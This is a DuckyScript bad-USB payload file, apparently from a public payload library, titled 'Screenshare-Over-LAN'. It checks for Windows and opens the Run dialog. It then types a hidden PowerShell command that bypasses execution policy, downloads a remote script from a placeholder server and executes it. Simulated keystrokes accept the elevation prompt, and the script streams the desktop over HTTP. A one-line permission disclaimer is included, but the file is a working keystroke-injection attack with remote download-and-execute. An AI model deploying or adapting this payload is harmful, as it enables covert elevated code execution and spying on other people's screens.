Path: blob/master/payloads/library/recon/Screenshare-Over-LAN/Payload.txt
2968 views
REM Author: beigeworm1REM Title: Screenshare-Over-LAN2REM Target: Windows 10/113REM Description: Start up a HTTP server and stream the desktop to a browser window on another device on the network.45REM **THIS SCRIPT IS INTENDED FOR USE ON SYSTEMS YOU OWN OR HAVE BEEN GIVEN PERMISSION TO USE!**67REM Replace the URL for your own hosted .ps1 raw file.8DEFINE #SCRIPTURL https://yourserver.com/rawfile/Screenshare-Over-LAN.ps1910REM Define a custom port here (optional)11DEFINE #PORT 80801213REM Funtion to detect Windows is ready for keystrokes14EXTENSION PASSIVE_WINDOWS_DETECT15REM VERSION 1.116REM AUTHOR: Korben1718REM CONFIGURATION:19DEFINE #MAX_WAIT 15020DEFINE #CHECK_INTERVAL 2021DEFINE #WINDOWS_HOST_REQUEST_COUNT 222DEFINE #NOT_WINDOWS 72324$_OS = #NOT_WINDOWS2526VAR $MAX_TRIES = #MAX_WAIT27WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))28DELAY #CHECK_INTERVAL29$MAX_TRIES = ($MAX_TRIES - 1)30END_WHILE31IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN32$_OS = WINDOWS33END_IF3435END_EXTENSION3637IF $_OS != WINDOWS38LED_R39STOP_PAYLOAD40END_IF4142REM Main bad-USB script43LED_G44GUI r45DELAY 75046STRING powershell -Ep Bypass -W H -C $port = #PORT;IRM #SCRIPTURL | iex47DELAY 25048CTRL-SHIFT ENTER49DELAY 250050ALT y515253